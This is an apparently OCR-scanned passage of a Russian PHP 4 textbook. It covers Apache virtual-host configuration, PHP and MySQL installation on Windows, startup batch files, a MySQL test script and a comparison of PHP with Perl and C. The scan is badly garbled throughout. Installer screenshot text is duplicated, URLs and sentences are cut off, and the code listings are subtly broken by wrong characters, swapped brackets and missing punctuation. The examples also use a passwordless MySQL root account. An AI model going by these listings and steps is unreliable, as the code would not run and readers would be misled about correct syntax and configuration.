Если что-то пошло не так, либо окно Apache открывается и тут же закрывается, значит, где-то произошла ошибка — скорее всего, причины ее возникновения можно найти в httpd.conf. За детальным разъяснением этих причин можно обратиться к log-файлам, расположенным в каталоге C:\Program FilesXApache Group\Apache\logs.

Виртуальные хосты Apache

Итак, вы установили Apache и получили, таким образом, каталог z:/home/localhost/www ДЛЯ хранения Документов И z:/home/localhost/cgi для CGI. Однако в Интернете вы поддерживаете (или, скорее всего, будете поддерживать) несколько серверов, a Apache создал для вас только один. Конечно, можно структуру этих нескольких серверов хранить на одном сервере, однако проще и удобнее было бы создать несколько виртуальных хостов с помощью Apache. В нашем распоряжении есть два вида виртуальных хостов: отдельные для каждого IP-адреса или же использующие один общий IP-адрес (так называемые name-based хосты — хосты, определяемые по имени). В тренировочных целях мы рассмотрим оба варианта, а именно, создадим хост hacker, задействующий тот же адрес, что и localhost, а также хост cracker С адресом 127.0.0.2.

Примечаниел

Конечно, вместо "hacker" и "cracker" вам нужно будет указать желаемые имена ваших виртуальных хостов. Советуем назвать их так же, как и на вашем настоящем Web-сервере, но только без "суффикса" . ru или . com — это может многое упростить при программировании сценариев.

Как это принято в Unix, каждый сервер будет представлен своим каталогом в z: /home с именем, совпадающим с именем сервера (мы уже проделывали нечто подобное с хостом locaihost). Например, сервер hacker будет храниться в ка-

талоге z: /home/hacker, который вам необходимо создать прямо сейчас (конечно, вместе с его подкаталогами cgi и WWW, как мы делали это ранее), а хост cracker — в каталоге z:/home/cracker. В этих каталогах будут находиться:

О файлы access. log с журналом доступа к виртуальному серверу;

файлы errors. log с журналом ошибок сервера;

каталог www, где, как обычно, будут размещаться HTML-документы;

каталог cgi для хранения CGI-программ.

На рис. 4.5 представлена структура каталогов, которая должна у нас получиться.

Рис. 4.5. Структура каталогов виртуального хоста

Для установки виртуальных хостов необходимо внести некоторые изменения в файл конфигурации Apache httpd.conf (см. выше), а также в некоторые файлы Windows. Опишем, что для этого нужно сделать.

Откройте файл httpd.conf (можете для этого воспользоваться уже упоминавшимся выше ярлыком Edit configuration. Перейдите в конец файла, вам предстоит добавить туда несколько строк. Вставьте следующие строки в конце файла после всех комментариев:

Листинг 4.3. Настройка виртуальных хостов

NameVirtualHost 127.0.0.1

localhost

<VirtualHost localhost>

ServerAdminwebmas t e r @ localhost

ServerName localhost

DocumentRoot "z:/home/localhost/www"

ScriptAlias /cgi/ "z:/home/localhost/cgi/"

ErrorLog z:/home/localhost/error.log

CustomLog z:/home/localhost/access.log common

</VirtualHost>

hacker

<VirtualHost hacker>

ServerAdmin webmaster@hacker.ru

ServerName hacker

DocumentRoot "z:/home/hacker/www"

ScriptAlias /cgi/ "z:/home/hacker/cgi/"

ErrorLog z:/home/hacker/error.log

CustomLog z:/home/hacker/access.log common

</VirtualHost>

cracker

<VirtualHost cracker>

ServerAdmin webmaster@cracker.ru

ServerName cracker

DocumentRoot "z:/home/cracker/www"

ScriptAlias /cgi/ "z:/home/cracker/cgi/"

ErrorLog z:/home/cracker/error.log

CustomLog z:/home/cracker/access.log common

</VirtualHost>

Замечание j

Обратите внимание на то, что мы добавили дополнительно секцию <VirtualHost> для хоста localhost. Если этого не сделать, то все запросы к нему (то есть, по адресу 127.0.0.1) будут обработаны name-based хостом hacker. Происходит это, видимо, из-за того, что хосты в секции <virtualHost> имеют больший приоритет при обработке, чем главный хост, который мы создали ранее.

Директива NameVirtualHost говорит серверу, что указанный IP-адрес может использоваться несколькими виртуальными хостами, поэтому для обработки запросов, поступающих на этот адрес, нужно привлекать протокол HTTP 1.1 (который, собственно, и поддерживает технику работы с name-based хостами).

При желании можно добавить и другие параметры в блоки <VirtualHost> (например, DirectoryIndex и т. д.) Не переопределенные параметры наследуются виртуальным хостом от главного. Однако не советую злоупотреблять настройками в этих секциях — лучше сделать их в файле .htaccess в директории нужного хоста, потому что компания, которая предоставляет (будет предоставлять) вам "настоящие" виртуальные хосты в Интернете, вряд ли позволитменятьданныеблоки.

Но как же система узнает, что хост cracker сопоставлен с адресом 127.0.0.2, a hacker -- name-based хост? Для решения проблемы надо немного подправить системный файл hosts, который находится в каталоге C:\WINDOWS для операционных систем Windows 95/98/Millenium и C:\WINNT\SYSTEM32\DRIVERS\etcдля Windows NT и Windows 2000.

Внимание

Не путайте файл hosts (без расширения) с файлом hosts . sam, который, скорее всего, также расположен в том же каталоге! Последний файл является просто демонстрационным примером Microsoft и никак не используется системой. Если файла hosts не существует, его необходимо создать.

Файл hosts -- обычный текстовый файл, и в него может быть заранее включена только одна строка:

127.0.0.1 localhost

Именно эта строка и задает соответствие имени localhost адресу 127.0.0. 1.

СЗамечание )

Ради справедливости следует сказать, что имя localhost работает и без указанной выше строки. Ну и выдумщики же эти парни из компании Microsoft!

Для нашего виртуального хоста надо добавить соответствующую строчку, чтобы файл выглядел так:

Листинг 4.4. Файл hosts

127.0.0.1 localhost hacker

127.0.0.2cracker

Обратите внимание на то, что хост hacker описан на той же строке, что и localhost. Дело в том, что в файле hosts должны указываться только уникальные IP-адреса. Если же одному адресу сопоставляется сразу несколько хостов, то один из них (тот, который идет первым) объявляется главным, а остальные — его псевдонимами. В нашем случае localhost — главный, а hacker — его псевдоним. Apache при получении запроса на адрес 127.0.0. 1 узнает, что он пришел хосту с именем hacker, и активизирует соответствующий блок <VirtualHost>.

Итак, мы создали виртуальные хосты со следующими свойствами:

Хост hacker:

ИМЯ — hacker;

Доступен ПО адресуhttp://hacker;

О расположен В каталоге z : /home/hacker;

каталог для хранениядоступный по

адресу http:

каталог для CGIдоступный по адресу

http://hacker/cgi/;

журналов хранятся В/home/hacker.

Хост cracker:

ИМЯ — cracker;

доступен ПО адресуили0. 0. 2;

О размешен в каталоге

каталог для хранениядоступен по

адресу http:

О каталог для CGI/home/cracker/cgi, доступен по адресу

http://oracker/cgi/;

фаЙЛЫ Журналов содержатся В/home/cracker.

Замечание

Необходимо заметить, что главный хост (невиртуальный, тот, который мы создали ранее) по-прежнему доступен по адресуили

http:Более того, его директория"видна" всем суще

ствующим виртуальным хостам, так что вы можете ее использовать.

После всех изменений не забывайте перезапускать Apache.

Внимание

Просто завершить сервер, нажав на кнопку Закрыть в правом верхнем углу его недостаточно — нужно воспользоваться пунктом Stop Apache в меню

Пуск I Программы I Apache Web Server I Management. В противном случае закроется только окно Apache, а сам сервер останется работать в фоновом режиме, так что изменения, внесенные в не будут активизированы. Правда, в последних версиях Apache этот недостаток был устранен, но лучше все же перестраховаться.

Глава 5

Установка PHP и MySQL

Давайте теперь перейдем к установке языка РНР версии 4, ради которого, собственно, мы и устанавливали сервер Apache. К сожалению, на момент написания этих строк у РНР не было нормальной setup-программы, которая могла бы установить РНР со всеми необходимыми нам модулями за один прием, как мы проделали это с Apache. Так что, возможно, его инсталляция покажется вам чуть сложнее.

Прежде всего, вам нужно запастись терпением и загрузить с официального сайта РНР http://www.php.net из секции Downloads два файла: один с расширением zip, а другой — ехе. Ссылки на эти файлы находятся почти на самом верху страницы, после заголовка Win32 Binaries. Первый файл представляет собой полную версию РНР 4, но не имеет удобной программы установки, а второй, наоборот, является автоматической программой установки, но не содержит в себе наиболее часто используемых модулей.

( Замечание )

Так было на момент написания данной книги. Возможно, в будущем разработчики РНР будут поставлять дистрибутив в виде одного большого ехе-файла, но пока это не так.

Советую вам также скопировать полную документацию по РНР, ссылка на которую есть на странице чуть ниже. Уверен, в будущем она еще не раз вас выручит.

Стоит сказать еще пару слов насчет версии РНР. Язык постоянно совершенствуется, и на момент создания книги последней версией была 4.0.3. Скорее всего, когда вы будете читать эти строки, выйдет более новая версия — например, 4.0.10. Думаю, наилучшим решением будет загрузить ту, что поновее, потому что в ней, возможно, исправлены некоторые ошибки из предыдущих версий языка. Главное, чтобы первая цифра была 4, потому что "третий" РНР сильно проигрывает "четвертому" по количеству поддерживаемых функций.

Установка РНР

Запустите только что загруженный ехе-файл. В открывшемся диалоговом окне нажмите кнопку Next (рис. 5.1).

Рис. 5.1. Установка PHPРис. 5.1. Установка PHPСогласитесь с условиями лицензии, нажав кнопку I Agree. В появившемся диалоговом окне выберите тип установки Standard.

Рис. 5.1. Установка PHP

Рис. 5.1. Установка PHP

Теперь укажите директорию, в которую будет установлен РНР. По умолчанию предлагается С: \РНР, но, думаю, логичнее было бы выбрать C:\Program Files\PHP4, "поближе к Apache (рис. 5.2). Для указания этого каталога нажмите кнопку Browse... и введите его имя, затем нажмите, как обычно, кпопку ОК и потом — Next, чтобы перейти к следующему диалоговому окну.

^ Choose Destination Location

□□Setup will install PHP4 О.ЗрП in the following folder

□

□

To install into a different folder, click Browse, and select another folder. ;•••

You can choose not to ibsilall PHP 4.0.3рП by clicking Cancel to exit Setup.

Destination Folder

C:\Program Files\PHP4Biowsa

c'flocK. |[ ~ Next > "jlCancel

Рис. 5.2. Выбор каталога для установки РНР

Задайте адрес вашего SMTP-сервера (Send Mail Transfer Protocol — Протокол пересылки почтовой корреспонденции), а также ваш адрес электронной почты. Именно этот сервер и обратный адрес будут использованы для исходящих почтовых запросов, когда вызывается функция Mail о языка РНР. В общем, это тот самый сервер, через которого отсылает почту ваш обычный почтовый клиент — например, Outlook Express. Впрочем, можете и оставить в текстовых полях значения по умолчанию — в этом случае функция Mail о просто не будет работать на локальной машине.

Выберите сервер, на который будет настроен РНР. В нашем случае это — Apache (рис. 5.3).

Начнется процесс копирования файлов. После его окончания, возможно, появятся еще некоторые диалоговые окна с различными извещениями. Не обращайте на них внимания.

На этом этапе язык РНР можно считать уже почти установленным — нам осталось только настроить Apache, чтобы он мог распознать РНР-сценарии, а также подключить дополнительные модули, которые содержатся в загруженном нами zip-архиве.

Рис. 5.3. Выбор сервера

Настройка Apache для работы с РНР

Откройте в Блокноте файл конфигурации Apache httpd.conf, находящийся

В каталоге C:\Program Files\Apache Group\Apache\conf. Впрочем, ВЫ MO- жете и не искать этот файл вручную, а воспользоваться пунктом Edit configuration в меню Пуск I Программы I Apache Web Server I Management.

Найдите в тексте файла такую закомментированную строку:

#AddType application/x-httpd-php php

Раскройте комментарий:

AddType application/x-httpd-php php

Таким образом, мы присвоили всем файлам с расширением php тип application/x-httpd-php.

Сразу же после этой строки добавьте такие настройки:

ScriptAlias /_php/ "C:/Program Files/PHP4/"

Action application/x-httpd-php "/_php/php.exe"

Этим мы, во-первых, создаем синоним _php для каталога с процессором РНР, чтобы Apache мог получить к нему доступ, а во-вторых, связываем все файлы типа application/x-httpd-php С обработчиком php.exe.

С Замечание J

Строка "_php" выбрана из такого расчета, чтобы она в будущем не конфликтовала с именами каталогов, которые вы можете объявить на вашем хосте.

Сохраните изменения в файле конфигурации, остановите Apache, если он был до этого запущен (пункт Пуск I Программы I Apache Web Server I Management I Stop Apache), и стартуйте сервер снова. Если Apache не запускается (его окно открывается и тут же закрывается), значит, вы где-то допустили синтаксическую ошибку. В этом случае можете воспользоваться рекомендациями по устранению ошибок, описанными в главе 4.

Тестирование РНР

Давайте теперь убедимся, что PHP-сценарии работают. Для этого создадим в каталоге z:/home/localhost/www файл test.php со следующим содержанием:

I Листинг 5.1. Тестовый сценарий

<?

echo "It works ! <br>\n";

phpinfо () ;

?>

Теперь наберите в браузере: http://localhost/test.php. Должна отобразиться страница с разнообразной информацией о РНР, которая генерируется функцией phpinfo() .

Замечание

Напоминаем, что PHP-сценарии — не то же самое, что CGI-сценарии. В частности, если CGI-сценарий обычно располагают в /cgi-bin/ или /cgi/, то php-сценарийдолжен находиться в каталоге с документами.

Если страница не отображается, значит, вы допустили ошибку в файле httpd.conf. Откройте его снова и исправьте ошибку, затем не забудьте перезапустить Apache.

Внимание

Напоминаю еще раз, что просто остановить Apache, так сказать, принудительным образом нельзя — необходимо воспользоваться ярлыком Stop Apache, как это было описано выше. В противном случае при использовании некоторых версий сервера закроется только окноApache, а сам сервер останется работать.

Установка дополнительных модулей

После того как мы убедились в работоспособности РНР, нужно подключить к нему дополнительные модули, которые находятся в загруженном zip-файле. Среди них — средства для работы с рисунками, календарем, FTP (File Transfer Protocol — Протокол передачи файлов) и т. д. Нужно заметить, что архив содержит полную версию РНР, а не только модули для него. Единственная причина, почему мы не обратились к нему сразу — отсутствие удобной программы установки. Итак, для этого нужно проделать ряд действий.

Разверните zip-архив прямо в тот же самый каталог, где уже установлен РНР (в нашем примере это c:\Program Files\PHP4). Некоторые файлы перекроются, некоторые — добавятся. В частности, появится каталог extensions, как раз и содержащий практически все необходимые файлы.

Теперь нужно дать знать РНР, какие модули он может использовать, а также осуществить еще некоторые настройки. Для этого откройте в Блокноте файл php.ini из каталога с файлами Windows (обычно C:\WINDOWS). Этот файл был помещен туда программой установки РНР. Файл представляет собой набор строк, каждая из которых соответствует значению одного параметра. Части строк, расположенные после символа рассматриваются как комментарии и игнорируются.

Найдите параметр magic_quotes_gpc и отключите его:

magic_quotes__gpc=Off

Этим мы запрещаем РНР принудительно вставлять обратные слэши перед некоторыми символами, поступающими из формы. Мы еще обязательно поговорим об этом и других параметрах ближе к концу книги.

Теперь найдите и настройте следующий параметр:

extension_dir=C:\Program Files\PHP4\extensions

Здесь мы уведомляем РНР, что модули он должен искать в каталоге С:\Program Files\РНР4\extensions, т. е. как раз там, где нужно. Обратите внимание на то, что по умолчанию в этом параметре стоит значение . /, т. е. поиск будет производиться в том же самом каталоге, где установлен РНР. Это, конечно же, неудобно.

Найдите "закомментированные" строки, которые начинаются с ;extensions Вам предстоит раскрыть те из них, которые соответствуют нужным нам модулям. В этой книге описывается библиотека GD для работы с изображениями, поэтому нам обязательно понадобится модуль php_gd.dll. Поддержка MySQL и календарных функций уже встроена в РНР.

Не забудьте сохранить изменения в файле php.ini. Чтобы изменения вступили в силу, перезапускать Apache не нужно, ведь мы установили РНР не как модуль сервера, а как отдельную программу.

Установка MySQL

Сначала определимся: зачем же вообще нужны базы данных Web- программисту? Неужели не проще использовать обычный обмен с файлами? Ведь обычно объем данных не очень велик (если вы только не пишите поисковую систему). Наш личный опыт таков: оказывается, стоит затратить какое-то время на изучение MySQL — это удивительно мощный инструмент, который сэкономит в будущем немало часов, потраченных на отладку "вышедшего из-под контроля" сценария.

Итак, вы решили установить у себя на локальном хосте поддержку MySQL. Это довольно несложно. Что ж, приступим.

ДляначалазагрузитесофициальногосайтаMySQL

(http://www.mysql.com, раздел Downloads) дистрибутив MySQL. Рекомендую выбрать самую последнюю версию для Windows. Дистрибутив представляет собой zip-архив, который нужно развернуть в любой удобный вам каталог.

Запустите setup.exe из только что разархивированного дистрибутива. Нажмите кнопку Next (рис. 5.4).

В появившемся информационном окне снова нажмите Next. Откроется диалог с запросом о выборе каталога для MySQL. По умолчанию предлагается С:\mysql, но, мне кажется, будет удобнее использовать C:\Program Files\MySQL (рис. 5.5). Задайте этот каталог и нажмите Next.

WelcomeWelcomeQQWelcome to the MySQL Setup program, This program will install MySQLon your computer..Welcome to the MySQL Setup program, This program will install MySQLon your computer..Itis strongly recommended thatyou exit all Windows programs . before running this Setup program.■ ■. Click Cancel to quit Setup and then close anyprograms you have running, ClickNextto continue with the Setup program. ■Itis strongly recommended thatyou exit all Windows programs . before running this Setup program.■ ■. Click Cancel to quit Setup and then close anyprograms you have running, ClickNextto continue with the Setup program. ■WARNING: This program is protectedbycopyright law and international treaties..Unauthorized reproduction ordistribution of this program, or any portion of it mayresult in severe civil find criminal penalties, and will be prosecuted to the maximum extent possible under law..WARNING: This program is protectedbycopyright law and international treaties..Unauthorized reproduction ordistribution of this program, or any portion of it mayresult in severe civil find criminal penalties, and will be prosecuted to the maximum extent possible under law..Ы«*> 'CancelЫ«*> 'CancelРис. 5.4. Установка MySQLРис. 5.4. Установка MySQL4. Выберите тип установки Typical. Начнется копирование файлов MySQL. Дождитесь его окончания. MySQL установлена.4. Выберите тип установки Typical. Начнется копирование файлов MySQL. Дождитесь его окончания. MySQL установлена.Рис. 5.5. Выбор каталога для MySQLРис. 5.5. Выбор каталога для MySQL

Welcome

Welcome

Q

Q

Welcome to the MySQL Setup program, This program will install MySQLon your computer..

Welcome to the MySQL Setup program, This program will install MySQLon your computer..

Itis strongly recommended thatyou exit all Windows programs . before running this Setup program.■ ■

. Click Cancel to quit Setup and then close anyprograms you have running, ClickNextto continue with the Setup program. ■

Itis strongly recommended thatyou exit all Windows programs . before running this Setup program.■ ■

. Click Cancel to quit Setup and then close anyprograms you have running, ClickNextto continue with the Setup program. ■

WARNING: This program is protectedbycopyright law and international treaties..

Unauthorized reproduction ordistribution of this program, or any portion of it mayresult in severe civil find criminal penalties, and will be prosecuted to the maximum extent possible under law..

WARNING: This program is protectedbycopyright law and international treaties..

Unauthorized reproduction ordistribution of this program, or any portion of it mayresult in severe civil find criminal penalties, and will be prosecuted to the maximum extent possible under law..

Ы«*> 'Cancel

Ы«*> 'Cancel

Рис. 5.4. Установка MySQL

Рис. 5.4. Установка MySQL

4. Выберите тип установки Typical. Начнется копирование файлов MySQL. Дождитесь его окончания. MySQL установлена.

4. Выберите тип установки Typical. Начнется копирование файлов MySQL. Дождитесь его окончания. MySQL установлена.

Рис. 5.5. Выбор каталога для MySQL

Рис. 5.5. Выбор каталога для MySQL

Для того чтобы активизировать MySQL-сервер, запустите исполняемый файл C:\Program Files\MySQL\bin\mysqld.exe. Можете создать ДЛЯ него ярлык, однако, поскольку обычно MySQL работает "в связке" с Apache, будет логично создать командный файл, который будет стартовать и Apache, и MySQL. Назовем его server.bat и расположим в корневом каталоге диска z:. Вот содержание этого файла:

\ Листинг 5.2. Файл server.bat

@echo off

"С:\Program Files\MySQL\bin\mysqld"

start /m "C:\Program Files\Apache Group\Apache\Apache"

Для операционных систем Windows NT и Widows 2000, однако, будет удобнее использовать несколько другие команды (иначе в этих системах окно процесса MySQL будет постоянно видно на экране, что нежелательно):

@echo off

start C: \Progra~l\MySQL\bin\mysqld-nt —standalone

C:\Progra~l\Apache~l\Apache\Apache -k start

Именно для приведенного командного файла лучше всего и создать ярлык, назначив ему "горячую" клавишу <Ctrl>+<Alt>+<A> (только если вы до этого связали ту же комбинацию с ярлыком Apache, не забудьте ее там отключить).

Перед выключением или перезагрузкой компьютера нужно завершать работу Apache и MySQL. Для этого удобнее всего создать следующий bat- файл с именем, например, shutdown.bat, расположив его в корневом каталоге диска z:.

| Листинг 5.3. Файл shutdown.bat

@echo off

"C:\ProgramFiles\Apache Group\Apache\Apache" -k shutdown

"C: \Prograni Files\MySQL\bin\mysqladmin" -u root shutdown

Удобно также определить для этого файла ярлык и назначить ему комбинацию клавиш <Ctrl>+<Alt>+<S>.

Тестирование MySQL

Давайте теперь проверим, все ли работает. Для начала запустите наш файл server.bat, чтобы активизировать сервер. Создайте следующий РНР- сценарий С именем mysql .php В каталоге z:\home\localhost\www.

] Листинг 5.4. Файлmysql. php

<?

define("DBName","test") ;

define("HostName","localhost");

define ("UserName","root");

define("Password","");

if ( !mysql_connect(HostName,UserName, Password) )

{ echo "He могу соединиться с базой " .DBName. " !<br>";

echomysql_error() ;

exit;

}

mysql_select_db(DBName);

// Создаем таблицу t. Если такая таблица уже есть,

// сообщение об ошибке будет подавлено, T. к.

// используется

@mysql_query ("create table t(id int, a text) ") ;

// Вставляем в таблицу 10 записей

for($i=0; Si<10; $i++)

{ $id=time();

mysql_query ( "insert into t (id, a) values ($id, 'Стр$1!')"); )

// Выводим все записи

$r=mysql_query("select * from t")

for($i=0; $i<mysql_num_rows($r); Si++)

{ $f=mysql_fetch_array($r) ;

echo "$f[id] -> $f[a]<br>\n";

)

?>

Теперь наберите в браузере:

http://localhostZmysql.php-

Если все сконфигурировано правильно, вы должны получить несколько строк вывода в браузере без сообщений об ошибках. При каждом запуске в таблицу t добавляются новые строки, так что с каждым нажатием кнопки Обновить в браузере объем таблицы будет все увеличиваться.

Обращаю ваше Внимание на константы DBName, HostName, UserName И Password. DBName должен содержать имя базы данных (в нашем случае это test — база данных, которая создается MySQL по умолчанию). HostName - всегда localhost, ведь мы работаем на локальном компьютере. В макросе UserName проще всего подставлять root, который является владельцем всех таблиц. При установке MySQL пользователю root не назначается пароль, так что константа Password равна пустой строке.

ЧАСТЬ III.

ОСНОВЫ ЯЗЫКА РНР

Характеристика языка РНРХарактеристика языка РНРГлава 6

Характеристика языка РНР

Характеристика языка РНР

Дочитав до этого места, вы уже должны проникнуться мыслью, что писать сценарии на Си, мягко говоря, неудобно. (Если подобного ощущения у вас нет, значит, я плохо написал первую часть и ее придется переделывать).

Так на чем же писать? Многие тут же ответят: "Конечно, на том, на чем обычно пишут сценарии — на Perl!". Да, это распространенная точка зрения. Однако у Perl, наряду с его неоспоримыми достоинствами, существуют и недостатки. Причем недостатки весьма серьезные. Вот один из них: Perl не приспособлен непосредственно для программирования сценариев. Это в некотором роде универсальный язык, поэтому он не поддерживает напрямую того, чего бы нам хотелось. А вот и второй: у Perl синтаксис не способствует читабельности программы. Он не похож ни на Си, ни на Паскаль (а эти языки замечательно зарекомендовали себя как самодокументирующиеся). Вообще, я сам принадлежу к той категории людей, которые очень болезненно воспринимают непродуманный синтаксис языка программирования, отсюда и мое отношение к Perl...

РНР — язык, специально нацеленный на работу в Интернете, язык с универсальным (правда, за некоторыми оговорками) и ясным синтаксисом, удивительно похожим на Си, сочетающий достоинства Perl и Си. И хотя этот язык еще довольно молодой, он (точнее, его интерпретатор) установлен уже на порядка миллиона серверов по всему миру, и цифра продолжает расти. Новое поколение РНР — четвертое — должно вообще стереть все преимущества Perl перед РНР, как с точки зрения быстродействия обработки программ (а третья версия РНР сильно отставала от Perl при обработке больших циклов), так и с точки зрения синтаксиса. Наконец, большинство PHP-сценариев (особенно не очень больших размеров) работают быстрее аналогичных им программ, написанных на Perl (конечно, если сравнивать с обычными Perl-сценариями, а не программами, запускаемыми под управлением mod_perl).

Думаю, у РНР есть лишь один серьезный недостаток, который менее выражен у Perl: это — его медлительность при работе с большими и сложными сценариями. Однако работы по преодолению этой трудности давно ведутся и, если верить разработчикам РНР, версия 4 является уже компилятором,

построенным примерно на том же принципе, что и компилятор Perl. Давайте поговорим на последнюю тему чуть подробнее.

Интерпретатор или компилятор?

Возможно, вы уже слышали, что РНР версии 4, в отличие от своего предшественника, является компилятором. Так вот, это не совсем так. Во избежание разногласий в терминах давайте определимся, что мы будем называть компилятором, а что — интерпретатором. Если быть до конца откровенными, компиляторами очень часто и незаслуженно называют программы, которые на самом-то деле являются интерпретирующими трансляторами, т. е., по своей главной функции — интерпретаторами. Так обстоит дело и с РНР версии 4.

( Замечание j

Транслятор — программа, которая переводит код с одного "языка" на другой. Например, утилита, преобразующая исходный Паскаль-код на Си, — транслятор. В общем понимании компилятор — ни что иное, как транслятор, конвертирующий код программы на языке высокого уровня в машинный код. Интерпретатор же — это утилита, которая просматривает код некоторой программы и выполняет одну ее инструкцию за другой, т. е. полностью контролирует процесс исполнения.

Давайте посмотрим, как работает РНР версии 4. Получая на свой вход исходный код программы, он в первую очередь анализирует его (в частности, проверяет синтаксис) и транслирует в специальное внутреннее представление. Оно представляет собой специальный байт-код, который, конечно, невозможно прочитать глазами, но с которым в дальнейшем проще всего будет оперировать РНР. Вот эту-то фазу чаще всего и называют ошибочно компиляцией. Далее, РНР исполняет (интерпретирует) полученный байт-код. В этот момент он представляет собой классический интерпретатор.

Итак, мы видим, что РНР составлен из двух почти независимых блоков — транслятора и интерпретатора. Зачем же понадобилось так делать? Конечно, из соображений быстродействия. Посудите сами: синтаксический разбор осуществляется всего один раз на этапе трансляции, а исполняется уже "полуфабрикат" — байт-код, который гораздо более удобен для этих целей.

Пусть, например, в программе есть цикл с большим числом итераций. РНР версии 3, в котором отсутствует фаза трансляции, вынужден перед исполнением очередной итерации заново анализировать ее код, проводить строковый разбор, проверку синтаксиса и т. д. В то же время РНР версии 4 делает это только один раз (при трансляции кода программы), и на каждой итерации цикла занимается лишь исполнением готового байт-кода. Выигрыш очевиден, не правда ли?

Замечание )

Язык Perl, который практически всегда называют компилятором, работает точно по такой же схеме — он транслирует текст программы во внутреннее представление, а затем использует результирующий код при исполнении. Так что, можно сказать, РНР версии 4 представляет собой компилятор ровно настолько, насколько им является Perl.

Впрочем, описанная только что схема работы РНР не совсем соответствует действительности. Дело в том, что в языке можно создавать конструкции, которые просто физически невозможно перевести во внутреннее представление во время фазы трансляции (к таковым, например, относится инструкция включения в программу кода внешнего файла, имя которого выясняется только на этапе исполнения программы — к примеру, вводится пользователем). В этом случае РНР просто пропускает их, "откладывая на потом", и транслирует, как только до них дойдет управление. Конечно, это несколько замедляет выполнение программы, но если подобных конструкций в ней немного (и они не вставлены в цикл с большим количеством итераций), замедление не так уж и существенно.

Как вы видите, РНР версии 4 коренным образом отличается от своего предшественника — РНР версии 3. Фактически, весь код программы в очередной раз был переписан заново. При этом возникла серьезная проблема с переносимостью программ: не так-то легко обеспечить совместимость классического интерпретатора с новым транслирующим блоком (вообще, трансляторы по своей природе ограничивают свободу действий, зато привносят быстродействие). Тем не менее, разработчики РНР блестяще справились с проблемой: практически любая работающая на РНР версии 3 и не использующая недокументированных возможностей языка, будет работать и на четвертой версии.

Что же такое РНР? Как мы выяснили, уж точно не компилятор, т. к. не имеет ни малейшего отношения к машинному коду. И, конечно же, не транслятор в чистом виде — ведь оттранслированный байт-код нельзя ни сохранить в файле, ни использовать повторно. В то же время, главной фазой работы РНР является интерпретация внутреннего представления программы и ее исполнение. Именно эта фаза и занимает больше всего времени в серьезных сценариях. Итак, мы вынуждены заключить, что РНР является интерпретатором с встроенным блоком трансляции, оптимизирующим ход интерпретации.

Замечание

Я уже предвижу, что множество читателей не согласятся с такой формулировкой. Конечно, слово "компилятор" звучит солиднее, чем какой-то там "интерпретирующий транслятор". Но все дело в том, что английское слово compiler переводится не только как "компилятор", но также и как "транслятор". Задумайтесь над этим, если окончательно решили для себя считать РНР и Perl компиляторами.

Достоинства и недостатки интерпретатора

Если вы — бывший системщик или прикладной программист и не знакомы с языком Perl, довольно непросто будет привыкнуть к тому, что РНР, как и большинство языков для Web, является интерпретатором (правда, как мы уже говорили, с транслирующим оптимизатором).

Что ж, это так. Да, сценарии, написанные на РНР, работают в тысячи раз медленнее, чем Си-программы (но почти с такой же скоростью, как созданные на Perl — может быть, отстают максимум в несколько раз на особо критических участках), и к этому придется привыкнуть. Например, если мы напишем на Си пустой цикл с миллионом итераций примерно такого вида: for (long

то он будет работать всего долю секунды, в то время как аналогичный цикл на РНР:

for ($i=0;

проработает на процессоре Pentium 100 несколько секунд.

(Замечание)

Приведенные оценки, особенно сравнения с Perl, касаются только РНР версии 4, но не версии 3. Последний отстает даже от Perl по быстродействию почти в 100 раз. Так что стоит задуматься, допустимо ли вообще применять РНР версии 3 при написании нетривиальных программ.

Однако для сценариев, не содержащих в себе таких громадных циклов (а таких программ, как мы вскоре увидим, большинство), время работы будет отличаться очень несущественно. Ну, в самом деле, какая разница, работает ли сценарий 0,01 секунды или 0,1 секунды, если передача данных по каналам Интернета через модем будет длиться, например, 5 секунд?

Замечание

Впрочем, тут все-таки есть стимул стараться по возможности ускорить сценарий: если на вашей машине размещены сотни виртуальных хостов, способных работать с РНР, и каждый из них весьма популярен у пользователей Интернета, то суммарный проигрыш в быстродействии может быть вполне ощутим. В этом случае придется просто отказаться от РНР и перейти на более быстрый (но и более сложный)например, Си или Java.

"А как же быть, — спросят некоторые, — если нам нужно написать сценарий для работы, скажем, с тысячами и десятками тысяч пользователей, адреса и телефоны которых хранятся в файле? Ведь, чтобы найти какого-то пользователя (особенно, если его имя задано не точно), придется просмат-

ривать их всех, а это как раз и будет цикл с огромным количеством итераций?" Да, это действительно так. Если нужно обрабатывать очень большие массивы данных, лучше использовать Си или... базу данных. База данных — это набор очень большого числа записей с одинаковой структурой плюс программное обеспечение для быстрого поиска, добавления и удаления записей (чаще всего написанного как раз на Си). РНР поддерживает работу с очень большим числом разнообразных баз данных, поэтому написание сценариев с применением баз данных не должно вызвать особых проблем. Кстати, и выполняться такие скрипты будут быстрее, чем аналогичные им "самодельные", написанные на Си — ведь разработкой баз данных и эффективных алгоритмов работы с ними занималось множество людей. А в РНР останется лишь вызвать нужную функцию (например, поиск в базе данных) и сразу получить результат — многие базы данных даже умеют нужным образом его отсортировать и вообще выполнить всю "грязную работу"...

У интерпретатора есть и другие преимущества перед классическим компилятором, например, перед Си. Вот некоторые из них.

Упрощается обнаружение ошибок во время выполнения программы. В случае сбоя интерпретатор сразу же выведет сообщение, что что-то не так.

Можно не заботиться об освобождении выделенной памяти. Интерпретатор сам определит, когда та или иная переменная в программе уже не используется, и освободит память, выделенную для нее.

Существует возможность написать программу, которая, грубо говоря, будет формировать и тут же исполнять другую программу, что очень часто практикуется при шаблонной системе организации скриптов. В частности, мы можем формировать идентификаторы во время исполнения программы, создавать массивы анонимных функций и т. д.

Не нужно думать о типах переменных (как это, кстати, было сделано в приведенном цикле for). Мы еще вернемся к данному вопросу в дальнейшем.

Есть и другие достоинства. Вообще, использование интерпретатора способно дать сценариям ту мощь, которую пользователи Web от них и ожидают.

Но за все нужно платить: эта пресловутая медлительность интерпретаторов, даже с блоком трансляции, способна вывести из себя самого закаленного программиста. Проигрыш особенно заметен в случае больших и сложных циклов, при обработке большого количества строк и т. д. Однако, заметьте, это единственный недостаток РНР, который будет все меньше и меньше проявляться по мере выхода более мощных процессоров, чтобы в конце концов вообще сойти на нет.

Пример PHP-программы

Традиционно, любая книга начинается с программы "HelloЧто ж,

не буду отходить от этих канонов и приведу сразу два примера такой программы. Вот первый из них:

echo "Hello

Запустим сценарий в браузере. Легко убедиться, что он действительно работает, да к тому же еще и безотказно.

Замечание

Это замечание предназначено для тех, кто еще совершенно не знаком с синтаксисом языка РНР. Итак, возможно, вы немного смущены словами "запустим сценарий в браузере". Дело в том, что PHP-сценарий по своей природе несколько отличается от обычныхкоторые мы рассматривали в

